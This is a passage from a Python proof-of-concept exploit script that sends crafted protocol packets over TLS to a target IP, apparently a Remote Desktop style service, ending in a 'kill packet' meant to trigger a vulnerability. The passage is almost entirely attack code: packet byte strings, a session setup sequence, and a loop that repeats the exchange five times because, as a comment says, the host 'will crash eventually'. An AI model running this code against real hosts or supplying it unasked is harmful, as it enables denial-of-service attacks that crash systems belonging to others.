x1e\x63\x63\x7d\xf2\xfe\x3c\x6a\xba\x0b\x20\xcb\x9d\x64\xb8\x31\x14\xe2\x70\x07\x2c\xdf\x9c\x6f\xb5\x3a\xc4\xd5\xb5\xc9\x3e\x9a\xd7\xd5\x30\xdc\x0e\x19\x89\xc6\x08\x88\xe1\xca\x81\xa6\x28\xdd\x9c\x74\x05\x11\xe7\xe1\xcc\xbc\xc7\x76\xdd\x55\xe2\xcc\xc2\xcb\xd3\xb6\x48\x01\xdd\xff\xba\xca\x31\xab\x26\x44\x1c\xdc\x06\x01\xdf\xf2\x90\x50\xb8\x6b\x8f\xe8\x29\xf0\xba\xec\xfb\x2d\xfd\x7a\xfc\x7f\x57\xbd\xea\x90\xf7\xcf\x92\x1e\xc4\x20\xd0\xb6\x9f\xd6\xdc\xa1\x82\xa9\x6c\x5e\x3e\x83\x41\x57\x73\xe9\xe7\x5a\x3f\xda\x24\x4f\x73\x5e\xf4\xe0\x92\x24\xbd\x0b\xd0\x3c\x49\x96\xb5\xb5\x05\x32\xcb\x58\x1d\x6f\x97\x51\xee\x0c\xdc\x0b\x2a\x60\xef\x97\x3e\x5a\x30\x81\x15\x91\xcf\x11\x07\x25\x2c\x41\xdb\x70\x72\xe1\x75\xf6\xa5\xff\xe8\x44\xe7\x03\xe3\x61\xaa\xdb\xe0\x07\x3d\x07\x0b\xe3\x5c\x09\xa9\x5e\x10\xfd\xcf\x74\x9e\x23\xf1\x30\x86\x16\xef\x25\x4e\xfe\xa4\x93\xa5\x80\x0a\x01\x39\xcc\x11\x7a\x6e\x94\x22\x5b\xd8\xc6\xc9\xa8\xdf\x13\x96\xb3\x91\x33\x6e\x87\xbb\x94\x63\x2d\x88\x64\xa7\x58\x89\xda\xdc\x7f\x2a\xe3\xa1\x66\xe5\xc8\x7f\xc2\xdb\xc7\x7d\x2f\xa9\x46\x28\x45\x69\xbc\xac\x9f\x85\x9e\xb0\x9f\x9a\x49\xb4\xb1\xcb" 139 | tls.sendall(p) 140 | p = b"\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x00\x00\x27\x00\x00\x00\x00\x00\x00\x00\x03\x00\x32\x00" 141 | tls.sendall(p) 142 | 143 | def send_kill_packet(tls, arch): 144 | if arch == "32": 145 | p = b"\x03\x00\x00\x2e\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14\x0c\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 146 | elif arch == "64": 147 | p = b"\x03\x00\x00\x2e\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14\x0c\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 148 | else: 149 | print("Make the second arguement '32' or '64' without quotes") 150 | sys.exit() 151 | tls.sendall(p) 152 | 153 | def terminate_connection(tls): 154 | p = b"\x03\x00\x00\x09\x02\xf0\x80\x21\x80" 155 | tls.sendall(p) 156 | 157 | def main(args): 158 | tls = send_init_packets(args[1]) 159 | 160 | send_client_data(tls) 161 | print("[+] ClientData Packet Sent") 162 | 163 | send_channel_packets(tls) 164 | print("[+] ChannelJoin/ErectDomain/AttachUser Sent") 165 | 166 | send_client_info(tls) 167 | print("[+] ClientInfo Packet Sent") 168 | 169 | tls.recv(8192) 170 | tls.recv(8192) 171 | 172 | send_confirm_active(tls, None) 173 | print("[+] ConfirmActive Packet Sent") 174 | 175 | send_establish_session(tls) 176 | print("[+] Session Established") 177 | 178 | send_kill_packet(tls, args[2]) 179 | terminate_connection(tls) 180 | print("[+] Vuln Should Trigger") 181 | 182 | if __name__ == '__main__': 183 | if len(sys.argv) != 3: 184 | print("Usage: python poc.py 127.0.0.1 64") 185 | sys.exit() 186 | 187 | elif sys.argv[2] == '32' or '64': 188 | # I've had to send the packets 5 times for hosts that havent 189 | # had a terminal session since their last reboot. I think 190 | # I know why but atm its just easier to send the exchange 191 | # 5 times and it'll crash eventually. Most of the time its 192 | # the first time though. 193 | for _ in range(5): 194 | main(sys.argv) 195 | 196 | else: 197 | print("Usage: python poc.py 127.0.0.1 64") 198 | sys.exit() 199 | --------------------------------------------------------------------------------